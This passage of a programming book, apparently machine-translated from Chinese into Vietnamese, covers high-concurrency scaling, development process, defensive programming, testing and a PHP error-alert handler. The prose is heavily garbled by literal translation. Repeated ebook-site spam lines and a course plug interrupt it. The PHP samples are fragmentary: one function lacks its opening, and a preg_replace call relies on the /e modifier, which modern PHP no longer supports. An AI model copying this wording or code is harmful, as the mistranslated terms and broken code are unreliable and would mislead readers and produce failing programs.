Ủng hộ cao đồng phát có một cái phương pháp đơn giản nhất chính là sử dụng điện toán đám mây. Đối với phân bố thức hoàn cảnh, phân bố thức kho số liệu, điện toán đám mây phục vụ thương đã xây dựng tốt, chúng ta cứ dùng liền có thể. Hơn nữa điện toán đám mây là co dãn kế Phí, dùng bao nhiêu giao bao nhiêu, không giống mua sắm server, một năm không có bao nhiêu lưu lượng cũng muốn không ít server thuê Phí. Sử dụng điện toán đám mây, chúng ta không cần đem trọng tâm phóng tại server xây dựng cùng giữ gìn bên trên, có thể chuyên tâm khai phát sản phẩm của mình. A Lí mây, Thanh Vân chờ cũng là IAAS loại mây, bọn chúng cung cấp chỉ là cơ sở phục vụ, sử dụng bọn chúng chúng ta vẫn còn cần tốn tinh lực tới giữ gìn hệ điều hành. Đại gia có thể thử một lần Sina mây SAE, nó là PAAS loại mây, cung cấp là chương trình vận hành bình đài, chúng ta liền hệ điều hành đều không cần giữ gìn.

Chúng ta muốn đối chính mình hệ thống có khả năng chịu tải đồng phát lượng tiến hành khảo thí, muốn biết mình hệ thống có thể tiếp nhận bao lớn đồng thời

Phát, đồng thời đối với hệ thống lưu lượng tiến hành giám sát, khi phát hiện lưu lượng biến lớn lại nhanh đạt đến lớn nhất tiếp nhận đồng phát lượng lúc ứng kịp thời mở rộng. Khảo thí đồng phát lượng có thể dùng áp lực khảo thí công cụ ( Như ab, wrk, webbench chờ ), cũng có thể dùng OneAPM đối với chương trình tính năng giám sát, thời gian thực biết ứng dụng lưu lượng.

Liên quan tới server ưu hóa tri thức rất nhiều, quyển sách bởi vì số lượng từ hạn chế chỉ có thể làm giản yếu giới thiệu, đại gia còn cần thu thập tư liệu khác tới học tập hoặc học tập ưu tài học viện Web toàn bộ sạn chương trình học. Ưu tài học viện CEO ngũ tinh lão sư cũng là quyển sách tác giả một trong, hắn từng là vui vẻ lưới sáng lập đoàn đội thành viên, tự tay bố trí vượt qua ngàn đài server, xử lý qua hơn ức cao đồng phát, thông qua ưu tài học viện toàn bộ sạn chương trình học học tập có thể thực sự hiểu rõ xử lý như thế nào cao đồng phát.

Kỹ thuật đoàn thể quản lý

Theo kỹ thuật tăng lên, chức vị cũng sẽ đề thăng, việc làm mấy năm sau liền sẽ tiếp xúc quản lý chức vị. Lúc này lập trình viên không chỉ có muốn học tập kỹ thuật tri thức, còn muốn chú ý tích lũy chính mình kinh nghiệm quản lý. Đoàn đội quản lý cần thiết phải chú ý 3 cái phương diện: Quy định, tinh thần cùng vật chất.

Quy định, chính là một chút khai phát quá trình cùng quy phạm; Tinh thần, có thể tạo đoàn thể không khí, để tất cả mọi người có cảm xúc mạnh mẽ, sức chiến đấu; Vật chất, chính là vì đoàn đội thành viên tranh thủ ban thưởng, tiền thưởng chờ, để cố gắng của mọi người có vật chất hồi báo. Quyển sách chủ yếu nói "Quy định " Cùng "Tinh thần " Hai phương diện, phía dưới nói "Khai phát quá trình " "Khai phát sắp xếp Kỳ " Đều thuộc về tại quy định nội dung, "Đoàn đội tinh thần " Thuộc về tinh thần nội dung.

Khai phát quá trình

Một cái hoàn chỉnh khai phát quá trình chắc có dạng này bốn bước: Phân tích → Thiết kế → Mã hóa → Khảo thí. Rất nhiều khai phát đoàn đội thường thường chỉ có mã hóa một bước này, nhược hóa khác trình tự. Bọn hắn cầm tới nhu cầu liền bắt đầu viết dấu hiệu, viết viết phát hiện có vấn đề, hoặc là gặp phải một cái chỗ khó không giải quyết được, hoặc là phát hiện muốn trở về sửa chữa trước đó viết dấu hiệu, hoặc là phát hiện có số lớn quá nhiều trùng lặp dấu hiệu, lại không biết như thế nào đóng gói chỉ có thể đâm lao phải theo lao. Làm tốt phân tích cùng thiết kế mã hóa liền sẽ không có những vấn đề này, làm tốt khảo thí sản phẩm bug liền thiếu đi, sản phẩm chất lượng tài cao. Phía dưới ta phân biệt tường Giảng kỹ hiểu một chút cái này bốn bước.

Phân tích

Phân tích thời điểm, chúng ta muốn phân tích nhu cầu cùng chỗ khó.

Phân tích nhu cầu phương pháp là làm nhu cầu trần thuật xử lý. Phía trước đề cập tới, muốn phân chia "Làm cái gì " Cùng "Làm như thế nào " , đem hai bộ phận này độc lập đi ra, "Làm cái gì " Là cố định không đổi, mà "Làm như thế nào " Có thể sẽ thường xuyên

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Biến. Chúng ta lại làm quen một chút phía trước giơ cái kia ví dụ: Chúng ta chuẩn bị làm một cái thành viên danh sách ( Gặp đồ 1-44), sản phẩm quản lý nói cho chúng ta biết muốn theo tính danh ghép vần sắp xếp.

Đồ 1-44 Thành viên danh sách

Chúng ta có đôi khi không thể hoàn toàn nghe sản phẩm quản lý , nếu quả thật theo tính danh ghép vần sắp xếp mã hóa liền không có có thể mở rộng tính chất . Nếu như bỗng dưng một ngày sản phẩm quản lý nói cần đem VIP hội viên sớm, như vậy ngươi chỉ có thể lại đi sửa chữa sắp xếp trình Tự. Cái nhu cầu này bên trong từ đầu đến cuối không đổi là sắp xếp, theo tính danh ghép vần chỉ là sắp xếp một loại phương pháp. Chúng ta tại thiết kế kho số liệu lúc hẳn là đem sắp xếp chữ đoạn thiết trí số lượng chữ mà không phải ghép vần, viết nữa một cái ghép vần chuyển đổi thành con số phép tính liền có thể, dạng này tới ứng đối đằng sau sắp xếp quy tắc biến hóa. Tỉ như, VIP hội viên muốn sớm, chỉ cần sửa chữa đối ứng người sử dụng kho số liệu sắp xếp chữ cấp độ giá trị liền có thể, không cần lớn đổi chương trình.

Chúng ta có thể dùng XMind làm nhu cầu phân tích, trước tiên đem trông thấy cùng nghe tất cả nhu cầu một đầu một đầu mà bày ra. Tiếp đó đối với mỗi đầu nhu cầu tiến hành phân tích, xem có thể hay không phân chia "Làm cái gì " Cùng "Làm như thế nào " . Nếu như có thể phân chia, tại đầu này nhu cầu đằng sau xây hai cái chi nhánh, cũng đem kết quả phân tích viết lên, như đồ 1-45 chỉ ra.

Đồ 1-45 Dùng XMind làm phân tích

Nhu cầu qua một lần sau, chúng ta cần suy xét chương trình chỗ nào có thể gặp nạn điểm, lại đem chỗ khó liệt đến XMind bên trong. Tỉ như, thành viên danh sách chức năng này, chỗ khó có thể có: ① Như thế nào đem tiếng Trung tính danh chuyển đổi thành ghép vần;② Như thế nào đem ghép vần chuyển đổi thành con số.

Tiếp đó, chúng ta lại nghĩ hai cái này chỗ khó phương án giải quyết. Chúng ta ở trên mạng lùng tìm, phát hiện có tiếng Trung chuyển đổi ghép vần khai nguyên kho (overtrue/laravel-pinyin), trực tiếp dùng cái này kho là được, đem phương án giải quyết viết tại XMind bên trong đối ứng chỗ khó đằng sau. Mặt khác, chúng ta hẳn còn làm một cái đơn giản demo, kiểm tra một chút này phương án là có hay không có thể giải quyết chỗ khó.

Lập trình viên quen thuộc dùng hai nguyên tính chất tư duy, thường thường cho rằng không phải "Là " Chính là "Không phải " , một cái chỗ khó không thể hoàn mỹ giải quyết, cảm giác chính là không thể giải quyết, tương phản, chúng ta phải có ưu nhã giáng cấp tư duy. Giả thiết chúng ta muốn làm một cái đặc thù cache công năng, cache đến phục vụ khí là hoàn mỹ nhất, nhưng khó khăn, không tốt thực hiện. Lúc này suy nghĩ một chút có thể hay không ưu nhã giáng cấp, không thể cache đến phục vụ khí có thể hay không cache đến hỗ trợ khách hàng; Cache đến hỗ trợ khách hàng phương án cũng không hoàn mỹ, tỉ như người sử dụng có thể sẽ thủ động thanh không cache, nhưng mà có cache dù sao cũng so không có hảo, như vậy chúng ta có thể hay không làm đâu?

Chúng ta lại phân tích vừa rồi thứ hai cái chỗ khó, ghép vần chuyển đổi thành con số phép tính, chúng ta có thể định nghĩa a chuyển đổi thành 1, b chuyển đổi thành 2, c chuyển đổi thành 3. Nhưng có một cái vấn đề, chúng ta đối với tên người chữ thứ nhất sắp xếp , muốn hay không đối với Chữ thứ hai sắp xếp? Tỉ như "Trương Tam " Cùng "Trương Phi " Hai người tên, chữ thứ nhất "Trương " Ghép vần chữ đầu cũng là Z, chúng ta còn cần đối với "Ba " Cùng "Bay " Chuyển đổi thành ghép vần sắp xếp sao? Muốn làm phương án giải quyết hoàn mỹ Lời nói, là muốn đối với chữ thứ hai tiến hành sắp xếp , như vậy sắp xếp như thế nào tự? Giả thiết chúng ta ở đây kẹt, tạm thời nghĩ không ra phương án giải quyết tốt, rất nhiều người sẽ cảm thấy chức năng này không làm được, không thể làm, chúng ta có thể hay không ưu nhã giáng cấp một chút, trước tiên đối với chữ thứ nhất sắp xếp, về sau nghĩ đến khác phương án giải quyết lại hoàn thiện đâu?

Thiết kế

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Thiết kế một bước này, muốn thể hiện ra chương trình viết như thế nào, chúng ta muốn thiết kế ra kho số liệu bày tỏ kết cấu, API tiếp lời cùng với phía trước giao diện chờ. Thiết kế cũng có thể tại XMind bên trong hoàn thành ( Gặp đồ 1-46).

Đồ 1-46 Dùng XMind làm thiết kế

Thiết kế bộ phận này nhất định muốn thể hiện ra chương trình như thế nào khai phát, không thể trả là liệt kê nhu cầu, muốn nói rõ thiết lập cái gì chương trình văn kiện, thiết lập cái gì loại, cùng với loại có cái nào phương pháp, phương pháp cụ thể xử lý qua trình. Tại XMind bên trong chúng ta thường xuyên sẽ dùng những thứ này câu đơn: "Làm ××× Điều kiện lúc làm ×××" "Điều động ××× Phương pháp " .

XMind xuất hiện những thứ này "Xử lý qua trình " Lúc liền có thể phát hiện rất nhiều tái diễn lôgic, chúng ta hẳn là đem những thứ này tái diễn lôgic độc lập thành module ( Đóng gói vì loại hoặc hàm số ). Đối với những thứ này muốn đóng gói module, chúng ta xuất hiện XMind thời điểm liền muốn nghĩ kỹ, mà không phải vừa viết dấu hiệu vừa nghĩ, dạng này sẽ không ngừng lật đổ trước kia dấu hiệu viết lại, lãng phí lúc

Ở giữa.

Tại thiết kế loại thời điểm chú ý phía trước nói qua "Đang giao thiết kế, loại phải có chuyên trách, ủy thác trội hơn kế thừa " . Loại phương pháp xử lý qua trình muốn kỹ càng, tại thực tế viết dấu hiệu thời điểm chiếu vào XMind thực hiện dấu hiệu liền có thể, lúc kia cũng không cần nghĩ chương trình suy luận.

Đối với tân thủ tới nói, viết dấu hiệu phía trước đem tất cả chi tiết đều nghĩ đến là khó khăn, bọn hắn muốn vừa viết vừa nghĩ, viết lên cụ thể mà mới biết có chi tiết gì. Nhưng thói quen như vậy thật không tốt, viết viết dấu hiệu lôgic liền sẽ biến loạn. Lập trình viên nhất định muốn dưỡng thành viết phía trước trước hết nghĩ rõ ràng quen thuộc. Từ giờ trở đi chúng ta chậm rãi dưỡng thành viết dấu hiệu phía trước liệt XMind làm phân tích cùng thiết kế quen thuộc, viết xong dấu hiệu sau lại đối với lúc trước liệt XMind xem cái nào là trước kia không có nghĩ tới, từ từ tích lũy kinh nghiệm, thời gian dài phân tích cùng thiết kế sẽ làm phải càng ngày càng tốt.

Chúng ta tại XMind bên trong thiết kế xong có cái nào tiếp lời cùng module còn có lợi cho đoàn thể câu thông cùng công tác phân công. XMind liệt hảo sau nhân viên developer phải tập thể họp, tất cả mọi người muốn lý giải mỗi cái module viết như thế nào chương trình đồng thời làm tốt phân công, ước định mỗi cái module khai phát thời gian. Bởi vì XMind liệt kê tương đối mảnh, mỗi cái module thời gian thường thường có thể lấy phút hoặc giờ tới đoán chừng, nếu có chút module còn nhất thiết phải lấy thiên làm đơn vị tính ra thời gian, vậy chứng minh cái này module còn có thể lại thay đổi nhỏ.

Chúng ta phân công sau, có thể tại trello khán bản bên trên làm thời gian sắp xếp kỳ, có liên quan khán bản cách dùng sau văn hội giảng giải cặn kẽ.

Mã hóa

Trong biên chế mã giai đoạn, dựa theo phía trước thiết kế xong XMind mã hóa đồng thời làm tốt phòng vệ thức lập trình, dạng này về sau hệ thống xảy ra vấn đề có thể kịp thời phát hiện cùng chữa trị. Phía dưới kỹ càng giới thiệu một chút phòng vệ thức lập trình.

Có đôi khi chúng ta đối với tự viết dấu hiệu rất tự tin, cho rằng "Cái này tuyệt sẽ không phát sinh......" . Tỉ như chúng ta đọc đến nào đó đầu số liệu, cho rằng đầu này số liệu chắc chắn sẽ không vì khoảng không, tiếp đó không có thêm bất kỳ phán đoán gì dấu hiệu. Nếu như tại một loại nào đó phía trước không có cân nhắc đến tình huống phía dưới, đầu này số liệu vì rỗng, chương trình liền có bug . Lúc này ngươi lại từng chút từng chút chậm Chậm đi tìm vấn đề, có thể muốn hoa mấy giờ mới có thể tìm được nguyên nhân, mà nếu như phía trước làm xong phòng vệ thức lập trình, số liệu vì khoảng không thường có báo cảnh sát, liền có thể nhường ngươi lập tức giải quyết vấn đề. Phòng vệ thức lập trình chính là tại ngươi cho rằng không có khả năng phát sinh chỗ tăng thêm phán đoán dấu hiệu, một khi tình huống xảy ra chúng ta có thể lập tức biết. Tỉ như:

// đọc đến một đầu người sử dụng số liệu

$user=M('User')->find($id); // nếu như ngươi cho rằng đầu này người sử dụng số liệu chắc chắn không vì khoảng không, làm như vậy cái phán đoán

if(empty($user)){

// nếu vì rỗng, phát cái hệ thống báo cảnh sát, để nhân viên developer biết. warn('Đọc đến người sử dụng tin tức vì khoảng không, người sử dụng uid: '.$id); }

Làm tốt phòng vệ thức lập trình sau, người sử dụng lại hướng chúng ta phản hồi bug, chúng ta phản ứng đầu tiên chính là đi xem báo cảnh sát. Một Xem báo cảnh chúng ta liền biết, nguyên lai tại cái nào đó tình huống phía dưới, đọc đến người sử dụng tin tức có thể vì khoảng không.

Phía trên thí dụ mẫu dấu hiệu bên trong warn hàm số vì chính mình tự định nghĩa một cái báo cảnh sát hàm số, chúng ta có thể đem báo cảnh sát tin tức

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Phát tới điện thoại di động hoặc hòm thư.

Chúng ta tại "Phương pháp giải quyết vấn đề " Cái này một tiết giảng đã đến, có đôi khi tra tìm chương trình bug lúc có thể có thể tìm được báo Sai tin tức không phải chân chính bug nguyên nhân, sở dĩ xuất hiện loại tình huống này cũng là bởi vì không có làm tốt phòng vệ thức lập trình. Một Cái lượng biến đổi tại phú giá trị lúc liền có vấn đề, lúc đó không có làm phán đoán, lúc sử dụng chương trình mới báo sai, vấn đề nguyên nhân không phải lượng biến đổi sử dụng vấn đề mà là phú giá trị vấn đề.

Mặt khác, đối với chương trình có thể xuất hiện tính năng vấn đề chúng ta cũng phải làm tốt phán đoán.

Tại sản phẩm sơ kỳ lượng người sử dụng không lớn thời điểm, chúng ta theo đuổi là đơn giản nhanh chóng thực hiện công năng, sau đó lên tuyến thu thập người sử dụng phản hồi, lại hoàn thiện điều chỉnh sản phẩm. Nếu như ngay từ đầu liền đem chương trình thiết kế rất tốt, cân nhắc cao đồng phát tình huống, rất có thể sản phẩm sau khi lên mạng không có cao đồng phát tình huống, thậm chí lại bởi vì người sử dụng phản hồi công năng không tốt muốn làm điều chỉnh, dẫn đến phía trước viết dấu hiệu hết hiệu lực. Cho nên, đồng dạng sản phẩm sơ kỳ lúc lấy đơn giản nhanh chóng thực hiện công năng làm chủ, sản phẩm hậu kỳ mới cân nhắc tính năng vấn đề. Nhưng chúng ta muốn đối đơn giản nhanh chóng thực hiện dấu hiệu thêm một cái phán đoán, để chúng ta biết lúc nào hẳn là dựng lại dấu hiệu. Lấy một thí dụ, tỉ như chúng ta cho hệ thống người sử dụng gửi email, vừa mới bắt đầu người sử dụng không nhiều, chúng ta có thể dùng foreach tuần hoàn tới gửi email. Làm người sử dụng biến nhiều lúc, chúng ta nhất định muốn biết nơi này dấu hiệu cần dựng lại , lúc này cần đem foreach tuần hoàn dấu hiệu đổi thành dùng đội ngũ gửi email.

// đọc đến tất cả người sử dụng hòm thư $users=M('user')->field('email')->select();

// phán đoán người sử dụng tương đối nhiều thời điểm báo cảnh sát thông tri nhân viên developer

if(count($users)>5000){

warn('Người sử dụng đếm đã lớn hơn 5000, cần dựng lại gửi email dấu hiệu ');

}

//foreach tuần hoàn gửi email

foreach($users as $user){

send_mail($user['email'],'bưu kiện tiêu đề','trong bưu kiện cho'); }

Khảo thí

Khảo nghiệm mục đích là vì giảm bớt chương trình bug, tự viết chương trình nhất định muốn tự mình đo thử tốt, xác định không có Vấn đề lại giao phó cho những đồng nghiệp khác. Có người kinh nghiệm làm việc càng nhiều lại càng tự tin, cho là mình viết dấu hiệu nhất định không có vấn đề, chậm rãi dưỡng thành viết dấu hiệu không kiểm tra thói quen. Dạng này sẽ ảnh hưởng đoàn đội ở giữa hợp tác, tại đoàn đội thành viên khác nơi đó ấn tượng cũng không tốt.

Suy nghĩ một chút nếu như chúng ta là như thế này một loại phương thức làm việc: Sau bưng nói cho phía trước tiếp lời viết xong, phía trước hết sức kinh ngạc cảm thấy sau quả nhiên hiệu suất làm việc thật cao, chính mình muốn tăng thêm tốc độ, nhưng phía trước chương trình còn không có viết lên muốn điều tiếp lời chỗ, sau bưng lúc này không có việc gì nhàn nhã nghe âm nhạc. Phía trước cuối cùng đem chương trình viết lên điều động tiếp lời chỗ

, kết quả một điều động tiếp lời phát hiện tiếp lời báo chương trình ngữ pháp sai lầm, phía trước hết sức tức giận nhưng vẫn là ngăn chặn hỏa nói cho sau bưng tiếp lời có vấn đề. Sau bưng trả lời: "A, phải không? Ta xem một chút." Sau bưng đi thăm dò tìm chương trình vấn đề lúc, phía trước thật sự không có chuyện làm, chỉ có thể ở vào chờ đợi trạng thái. Chờ một lúc, sau bưng nói cho phía trước: "Chương trình tốt, có thể." Phía trước lại điều động tiếp lời, không có ngữ pháp sai lầm nhưng phát hiện lôgic đi không thông, phía trước cuối cùng nổi giận, lớn tiếng đối với sau bưng nói: "Ngươi viết chương trình có thể không thể tự kiềm chế trước tiên kiểm tra một chút!" Sau bưng lý trực khí tráng trả lời: "Ngươi ngược lại đều phải điều tiếp lời, không thì tương đương với cho ta làm khảo nghiệm sao?"

Làm việc như vậy phương thức hiệu suất là cực kỳ thấp hèn, sau quả thực là muốn đem bản thuộc về khảo nghiệm của mình việc làm để phía trước làm, sau đặt tại sửa chữa tiếp lời thời điểm phía trước chỉ có thể chờ đợi, lãng phí phía trước thời gian. Phía trước sẽ rất phiền dạng này sau bưng, không muốn cùng hợp tác. Nhiều khi lập trình viên cùng sản phẩm quản lý hợp tác cũng là như vậy, lập trình viên nói cho sản phẩm quản lý chương trình viết xong, mà sản phẩm quản lý khảo thí có rất nhiều vấn đề, lập trình viên cùng sản phẩm quản lý mâu thuẫn liền như vậy sinh ra. Có đôi khi thậm chí không có ai cho lập trình viên giữ cửa ải, trực tiếp đem sản phẩm lộ ra cho người sử dụng. Người sử dụng thao tác một hai bước phát hiện có vấn đề liền trực tiếp rời đi, mới không có hảo tâm như vậy giúp ngươi khảo thí, cho ngươi phản hồi vấn đề.

Làm tốt khảo thí, giảm bớt chương trình bug có phía dưới bốn loại phương thức.

1.

Nhân công khảo thí

Nhân công khảo nghiệm là phương pháp đơn giản nhất, tự viết chương trình nhất định muốn tự mình đo thí, hơn nữa muốn nhanh chóng khảo thí. Chương trình viết nhiều khảo nghiệm lại, gặp phải bug lại tìm chương trình vấn đề có thể liền không dễ tìm cho lắm . Nhân công khảo thí ít nhất phải cam đoan Tự viết chương trình không có ngữ pháp cùng tính Logic sai lầm. Nếu như giao phó chương trình có ngữ pháp sai lầm, vậy khẳng định là không có đi qua khảo thí. Căn cứ vào sản phẩm nhu cầu còn muốn nghiệm chứng lôgic có phải hay không đúng, có đôi khi một cái lôgic đề cập tới hết mấy chỗ công năng, cái này mấy chỗ đều phải nối liền kiểm tra một chút.

2.

Đơn nguyên khảo thí

Chúng ta đang làm nhân công khảo nghiệm thời điểm thường xuyên cần chuẩn bị một chút khảo thí số liệu, tỉ như đưa ra danh sách lúc điền số liệu, thỉnh cầu tiếp lời lúc thỉnh cầu tham số. Lần sau lại cần khảo thí chức năng này lúc lại muốn một lần nữa điền những thứ này đếm

Căn cứ. "Tự động hoá " Là lập trình viên sức sản xuất. Nhân công khảo thí cũng là có thể sử dụng tự động hoá khảo nghiệm, chúng ta có thể Viết "Khảo thí chương trình " Tới khảo thí chương trình công năng, dạng này những cái kia mỗi lần đều phải điền số liệu tại khảo thí chương trình bên trong chỉ viết một lần liền có thể quá nhiều trùng lặp lợi dụng. Lần sau muốn khảo thí cùng một cái công năng lúc chỉ cần vận hành khảo thí chương trình liền có thể. Rất nhiều người cho rằng viết tự động hoá khảo thí chương trình rất lãng phí thời gian, kỳ thực mỗi lần nhân công khảo thí điền khảo thí số liệu đồng dạng lãng phí thời gian, sao không một lần vất vả suốt đời nhàn nhã đâu?

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Tự động hoá chương trình khảo thí lại phân mấy loại, có đơn nguyên khảo thí, tổng thể khảo thí, hộp đen khảo thí, bưng đối với bưng khảo thí, các loại.

Đơn nguyên khảo nghiệm là mọi người xách phải nhiều nhất. Mỗi ngôn ngữ lập trình đều có đơn nguyên khảo thí hệ thống, như PHP có phpunit, Java có junit, iOS có XCTest, hơn nữa iOS tại sáng tạo hạng mục lúc liền có ngầm thừa nhận đơn nguyên khảo thí dấu hiệu, đủ thấy quả táo đối với đơn nguyên khảo nghiệm xem trọng. Đại gia muốn nắm giữ một loại ngươi sử dụng chương trình ngôn ngữ đơn nguyên khảo thí hệ thống.

Đơn nguyên là chỉ một cái không thể lại phân module, tỉ như một cái hàm số, một cái loại. Cái nào đó công năng có thể từ rất nhiều đơn nguyên tạo thành, nó muốn điều động nhiều cái hàm số hoặc loại. Mà đơn nguyên khảo nghiệm là yêu cầu chúng ta từ nhỏ đơn nguyên bắt đầu khảo thí, ghi phần mềm đi khảo thí hàm số hoặc loại, phán đoán hàm số hoặc loại trở về giá trị có chính xác không.

Viết xong đơn nguyên khảo thí có thể cưỡng chế chúng ta đem chương trình cơ cấu thiết kế xong, cao ngẫu hợp chương trình không cách nào viết đơn nguyên khảo nghiệm. Chúng ta nhất thiết phải làm đến chương trình thấp ngẫu hợp, một cái hàm số không cùng rất nhiều hàm số có quan hệ mới dễ làm đơn nguyên khảo thí.

Viết xong đơn nguyên khảo thí cũng có thể trợ giúp về sau dựng lại cùng sửa chữa dấu hiệu. Chúng ta thường thường sửa chữa một lần dấu hiệu liền có thể ảnh hưởng khác nhiều chỗ dấu hiệu, dễ dàng sinh ra bug, dựa vào nhân công khảo thí rất dễ dàng lỗ hổng trắc; Mà nếu có đơn nguyên khảo thí, chúng ta

Chỉ cần chạy một chút đơn nguyên khảo thí chương trình liền có thể biết mình sửa chữa dấu hiệu có vấn đề hay không.

Mọi người đề xướng khảo thí khu động khai phát (Test Driven Development, TDD) rất nhiều năm, theo lý thuyết khai phát dấu hiệu phía trước trước tiên viết khảo thí dấu hiệu. Nhưng mà muốn chân chính làm đến TDD vẫn là khó khăn, chúng ta thường thường vì Đuổi hạng mục tiến độ, lập trình viên không muốn viết đơn nguyên khảo thí. Có thể kiên trì viết đơn nguyên khảo nghiệm đoàn đội không nhiều, ở trong nước như một cái khai phát đoàn đội có thể viết đơn nguyên khảo thí như vậy bọn hắn khai phát năng lực nhất định là quốc nội dẫn đầu .

3.

Làm tốt báo cảnh sát

Đơn nguyên khảo thí rất khó làm đến đem tất cả địa phương đều khảo thí đến, theo lý thuyết đơn nguyên khảo nghiệm bao trùm tỷ lệ rất khó đến 100%. Nhân công khảo thí cũng không dám hứa chắc đem tất cả địa phương đều khảo thí đến. Chúng ta có thể làm tốt hệ thống báo cảnh sát, dạng này tức Sử dụng nhà kích phát không có khảo thí đến bug, chúng ta cũng có thể thu đến hệ thống báo cảnh sát, tiếp đó kịp thời chữa trị bug.

Làm người sử dụng phát động đến chương trình bug thời điểm, chương trình thường thường sẽ báo sai. Chúng ta hẳn là đem chương trình báo sai làm thành hệ thống Báo cảnh sát đồng thời thông tri nhân viên developer. Chương trình báo sai bình thường chia làm hai loại, một loại là FatalError kết thúc tính chất báo sai, một loại khác là warning báo sai.

FatalError kết thúc tính chất báo sai là đương chương trình xuất hiện nghiêm trọng sai lầm ( Như ngữ pháp sai lầm ) dẫn đến chương trình không cách nào kế

Tục vận hành lúc, nhất thiết phải kết thúc chương trình.

warning báo sai là chương trình cho rằng xuất hiện sai nhỏ, nhưng còn có thể tiếp tục vận hành, không đạo đức nhưng không có làm trái Pháp, sẽ không bị bắt lại. Nâng hai cái PHP ví dụ: Một cái là dùng file_get_contents đọc đến văn kiện, nếu như văn kiện không tồn tại sẽ báo warning sai lầm, nhưng không kết thúc chương trình, sẽ đem văn kiện nội dung xem như chữ Không "空" phù xuyên xử lý, tiếp tục thi hành phía dưới chương trình; Khác một ví dụ, tại sử dụng không tồn tại mấy tổ phía dưới tiêu lúc, cũng sẽ báo warning sai lầm. Có người cho rằng warning báo không sai trọng yếu, ngược lại chương trình có thể vận hành bình thường, thậm chí đem warning báo sai che đậy lại. Nhưng warning báo sai thường thường có thể phản ứng chương trình có bug, tỉ như sử dụng một cái không tồn tại mấy tổ phía dưới tiêu, có thể là bởi vì sơ ý đem phía dưới ngọn từ đơn viết sai, nhưng nếu như che giấu warning báo sai, cái này sơ ý đưa đến bug sẽ rất khó bị phát hiện.

Phát động chương trình báo sai có khả năng không phải nhân viên developer mà là người sử dụng. Người sử dụng xem không hiểu chương trình báo sai, cần đem báo sai làm thành báo cảnh sát thông tri cho khai phá giả. Lấy PHP làm thí dụ, PHP có thể dùng set_error_handler cùng register_shutdown_function tới tiếp quản báo sai, như:


$errstr, $errfile, $errline){ switch($errno){ case E_WARNING:

$severity = 'E_WARNING';

break;

case E_NOTICE:

$severity = 'E_NOTICE';

break;

case E_USER_ERROR: $severity =

'E_USER_ERROR'; break;

case E_USER_WARNING: $severity =

'E_USER_WARNING'; break; case E_USER_NOTICE:

$severity =

'E_USER_NOTICE';

break;

case E_STRICT: $severity =

'E_STRICT'; break;

case E_RECOVERABLE_ERROR:

$severity =

'E_RECOVERABLE_ERROR';

break;

case E_DEPRECATED:

$severity =

'E_DEPRECATED'; break;

case E_USER_DEPRECATED:

$severity = 'E_USER_DEPRECATED';

break;

case E_ERROR: $severity = 'E_ERR'; break;

case E_PARSE:

$severity =

'E_PARSE';

break;

case E_CORE_ERROR: $severity =

'E_CORE_ERROR'; break;

case E_COMPILE_ERROR:

$severity =

'E_COMPILE_ERROR';

break;

case E_USER_ERROR: $severity =

'E_USER_ERROR'; break;

default:

$severity= 'E_UNKNOWN_ERROR_'.$errno;

break;

} $msg="{$severity}:

{$errstr} in {$errfile} on line {$errline}"; warn($msg);// điều động báo cảnh sát hàm số

}

function

fatalError(){ if ($e = error_get_last()) {

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

error_handler($e['type'],$e['message'],$e['file'], $e['line']); }

}

// báo cảnh sát hàm số function warn($msg){ // thu được điều động sạn ob_start(); debug_print_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); $trace = ob_get_contents(); ob_end_clean(); // format điều động sạn $trace = preg_replace ('/^#0\s+'. FUNCTION ."[^

]*

/",'', $trace, 1);

$trace =

preg_replace ('/^#(\d+)/me','\'
#\'.($1 -

1)',

$trace); $msg.=$trace;// báo cảnh sát tin tức tăng thêm điều động sạn send_mail('[email protected]','hệ thống báo cảnh sát',$msg); }

Phía trên dấu hiệu bên trong set_error_handler hàm số nói cho chương trình nếu có báo sai thi hành error_handler hàm số, error_handler có 4 cái tham số: $errno vì sai lầm mã, $errstr vì sai lầm tin tức,

$errfile vì sai lầm chương trình văn kiện địa chỉ, $errline vì sai lầm chỗ văn kiện đi đếm.$errno vì số nguyên có thể đọc tính chất không tốt, cho nên dấu hiệu có ích switch phán đoán số nguyên giá trị đồng thời thiết trí một cái có thể đọc tính chất hơi tốt ký tự xuyên. Mặt khác, chúng ta có thể sử dụng debug_print_backtrace thu được điều động sạn, báo cảnh sát trong tin tức có điều động sạn mà nói sẽ thuận tiện chúng ta phân tích chương trình vấn đề.

Bởi vì set_error_handler hàm số không thể tiếp quản kết thúc tính chất sai lầm tin tức, cho nên chương trình hữu dụng register_shutdown_function chỉ định chương trình kết thúc lúc muốn thi hành hàm số fatalError. fatalError có ích error_get_last thu được sai lầm tin tức đồng thời lần nữa điều động error_handler hàm số.

Phía trên dấu hiệu thí dụ mẫu chỉ là ví dụ đơn giản, chính thức báo cảnh sát hệ thống dấu hiệu phải cân nhắc vấn đề còn rất nhiều, nói đơn giản một cái mặt dưới hai vấn đề.

(1)

Như thế nào phòng ngừa tái diễn báo cảnh sát tin tức.

Chúng ta không thể để báo cảnh sát hệ thống đem tái diễn báo cảnh sát tin tức một mực phát cho khai phá giả, tỉ như chương trình có một cái bug, bây giờ đồng thời có 5000 cá nhân tại phỏng vấn cái chương trình này, không thể báo cảnh sát 5000 lần a. Chúng ta có thể đem phát qua báo cảnh sát Tin tức cache một đoạn thời gian, phát tin cảnh lúc thẩm tra một chút cache bên trong có hay không một dạng tin tức, tồn tại giống nhau tin tức cũng không cần tái phát , cache có thể sử dụng memcache chờ module, cache thời gian có thể thiết trí vì 5 phút. Dạng này Tái diễn báo cảnh sát tin tức tại 5 phút bên trong chỉ có thể bị phát một lần.

(2)

Như thế nào theo dõi phát động báo cảnh sát người sử dụng.

Rất nhiều người sử dụng gặp phải sản phẩm có bug liền trực tiếp rời đi, mới sẽ không hảo tâm cho ngươi phản hồi vấn đề. Chúng ta nếu như muốn biết

